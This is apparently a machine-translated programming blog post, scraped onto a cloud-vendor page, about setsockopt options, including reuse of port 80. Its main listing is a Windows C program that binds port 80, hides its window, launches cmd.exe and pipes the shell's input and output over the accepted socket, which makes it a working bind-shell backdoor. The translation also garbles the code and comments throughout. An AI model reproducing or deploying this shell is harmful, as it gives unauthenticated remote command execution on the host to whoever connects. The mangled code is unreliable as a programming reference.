Setsockopt bind port 80

Source: Internet
Author: User


[]

Setsockopt sets the options associated with a socket.

<Param> sock </param> socket to be set

The protocol layer of the <param> level </param> option. For example, the socket layer sol_socket

Option name of the <param> optname </param> operation

<Param> optval </param> indicates the buffer containing the new option value.

The length of the <param> optlen </param> option.It is almost the length of the pointer. Because parameter 4 is a pointer, it may be for 32-bit and 64-bit versions..


Functions have many functions, such:


Q1 allows reuse of local addresses and ports. In this example, port 80 is reused.

Q2: set the size of the receiving buffer

// Receive the buffer int nrecvbuf = 32*1024; // set it to 32 ksetsockopt (S, sol_socket, so_rcvbuf, (const char *) & nrecvbuf, sizeof (INT ));

Q3 and set the sending and receiving time limit

Int nnettimeout = 1000; // 1 second // setsockopt (socket, sol_s0cket, so_sndtimeo, (char *) & nnettimeout, sizeof (INT )); // receipt time limit setsockopt (socket, sol_s0cket, so_rcvtimeo, (char *) & nnettimeout, sizeof (INT ));


// Mini. cpp: defines the entry point of the console application. # Include "stdafx. H "# pragma comment (Lib," ws2_32.lib ") # include <winsock2.h> # include <windows. h> // # pragma comment (linker, "/subsystem: \" WINDOWS \ "/entry: \" maincrtstartup \"") # define max_ser 10 # define host_path 256 # define hostname_size host_path # define masterport 80 // define the listening port char hostname [max_path] = {0}; unsigned short maxservice; unsigned short port; void Service (lpvoid LPV); int loopcontrol (socket llistenf D, int ismultitasking); void initial (); int initsockets (void); // initialize windows socketint main (INT argc, char * argv []) {socket listenfd, acceptfd; struct sockaddr_in serveraddr, clientaddr; char buffer [1024]; int nsize = sizeof (sockaddr_in); int err; process_information processinfo; startupinfo; char szlimit path [255]; initial (); initsockets (); // allocate memory resources zeromemory (& processinfo, sizeof (process_information); ze Romemory (& startupinfo, sizeof (startupinfo); getenvironmentvariable ("comspec", sz1_path, sizeof (sz1_path); // getstartupinfo (& startupinfo ); // create a socket // listenfd = socket (pf_inet, sock_stream, 0);/** the wsasocket function creates a socket that is bound to a specific transport-service provider. */listenfd = wsasocket (af_inet, sock_stream, ipproto_tcp, null, 0, 0); bool Var = true;/** s [in]: A descriptor that identif IES a socket. * level [in]: the level at which the option is defined (for example, sol_socket ). * optname [in]: The socket option for which the value is to be set (for example, so_broadcast ). * optval [in]: a pointer to the buffer in which the value for the requested option is specified. * optlen [in]: The size, in bytes, of the buffer pointed to by the optval parameter. */setsockopt (listenfd, sol_socket, So_reuseaddr, (char *) & var, sizeof (VAR); If (listenfd = invalid_socket) {printf ("error: Out of socket resource \ n "); return 1;} // bind the local port serveraddr. sin_family = af_inet; // The protocol type is inetserveraddr. sin_addr.s_un.s_addr = inet_addr ("192.168.1.9"); // htonl (inaddr_any); // The local ipserveraddr. sin_port = htons (masterport); // The binding port is 9990err = BIND (listenfd, (const struct sockaddr *) & serveraddr, sizeof (serveraddr); If (ERR = invalid_socket) {Printf ("error: Unable to bind socket \ n"); return 1;} // listen listener port err = listen (listenfd, 3 ); if (ERR = invalid_socket) {printf ("error: Listen socket failed \ n"); return 1 ;}printf ("Listen ...... "); acceptfd = accept (listenfd, (struct sockaddr *) & clientaddr, & nsize); // prepare for receiving customer connections/** nlength: The size, in bytes, of this structure. * lpsecuritydescriptor: a pointer to a security_descriptor structure that controls Access to the object, if the value of this Member is null, * the object is assigned the default security descriptor associated with the access token of the calling process. * binherithandle: A boolean value that specifies whether the returned handle is inherited when a new process is created. */security_attributes SA; SA. nlength = 12; SA. lpsecuritydescriptor = 0; SA. binherithandle = true; handle hreadpipe1; Handle hwritepipe1; handle hreadpipe2; handle hwritepipe2;/** creates an anonymous pipe, and returns handles to the read and write ends of the pipe. * hreadpipe [out]: A pointer to a variable that reads es the read handle for the pipe. * hwritepipe [out]: A pointer to a variable that contains es the write handle for the pipe. * lppipeattributes [IN, optional]: If lppipeattributes is null, the handle can Not be inherited. * nsize [in]: the size of the buffer for the pipe, in bytes. the size is only a suggestion; * The system uses the value to calculate an appropriate buffering mechanic. if this parameter is zero, the system uses the default buffer size. */err = createpipe (& hreadpipe1, & hwritepipe1, & SA, 0); err = createpipe (& hreadpipe2, & hwritepipe2, & SA, 0 ); // configure the hidden window struct startupinfo. CB = sizeof (startupinfo); star Tupinfo. wshowwindow = sw_hide; startupinfo. dwflags = startf_usestdhandles | startf_useshowwindow; startupinfo. hstdinput = hreadpipe2; startupinfo. hstdoutput = hwritepipe1; startupinfo. hstderror = hwritepipe1; // create an anonymous pipeline bool ret = CreateProcess (null, sz1_path, null, null, true, 0, null, null, & startupinfo, & processinfo ); if (RET) {printf ("% d", getlasterror ();} unsigned long lbytesread; while (1) {/** copies data from a named or anony MOUs pipe into a buffer without removing it from the pipe. it also returns information about data in the pipe. * hnamedpipe [in]: a handle to the pipe. this parameter can be a handle to a named pipe instance * lpbuffer [out, optional]: A pointer to a buffer that reads es data read from the pipe. this parameter can be null if no data is to be read. * nbuffersize [in]: the size of the buffer specifie D by the lpbuffer parameter, in bytes. this parameter is ignored if lpbuffer is null. * lpbytesread [out, optional]: A pointer to a variable that contains es the number of bytes read from the pipe. this parameter can be null if no data is to be read. * lptotalbytesavail [out, optional]: pointer to a variable that means es the total number of bytes available to be read from the pipe. * lpbytesleftthism Essage [out, optional]: A pointer to a variable that matches es the number of bytes remaining in this message */err = peeknamedpipe (hreadpipe1, buffer, 1024, & lbytesread ); if (lbytesread) {/** reads data from the specified file or input/output (I/O) device * hfile [in]: a handle to the device * lpbuffer [out]: a pointer to the buffer that reads es the data read from a file or device. * nnumberofbytestor EAD [in]: the maximum number of bytes to be read. * lpnumberofbytesread [out, optional]: a pointer to the variable that represents es the number of bytes read when using a synchronous hfile parameter * lpoverlapped [In, out, optional]: */ret = readfile (hreadpipe1, buffer, lbytesread, & lbytesread, 0); If (! RET) {break;} ret = Send (acceptfd, buffer, lbytesread, 0); If (Ret <= 0) break;} else {lbytesread = Recv (acceptfd, buffer, 1024,0); If (lbytesread <= 0) {break;}/** if the function succeeds, the return value is nonzero (true ). */ret = writefile (hwritepipe2, buffer, lbytesread, & lbytesread, 0); If (! RET) break; }}// waitforsingleobject (processinfo. hprocess, infinite); closehandle (processinfo. hprocess); closehandle (processinfo. hthread); printf ("server is down \ n"); // closes the Process Handle closesocket (listenfd); closesocket (acceptfd); wsacleanup (); Return 0 ;} void initial () {maxservice = 3; Port = 5054;}/** Winsock service initialization */INT initsockets (void) {wsadata; Word sockversion; // typedef unsigned short word (16) int err; sockversi On = makeword (2, 2); err = wsastartup (sockversion, & wsadata); If (Err! = 0) {printf ("error % d: Winsock not avaliable \ n", err);} printf ("Environemnt invaild success ..... \ n "); Return 0 ;}


We are disappointed that the program is only executed once and cannot be connected later.





Setsockopt bind port 80

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.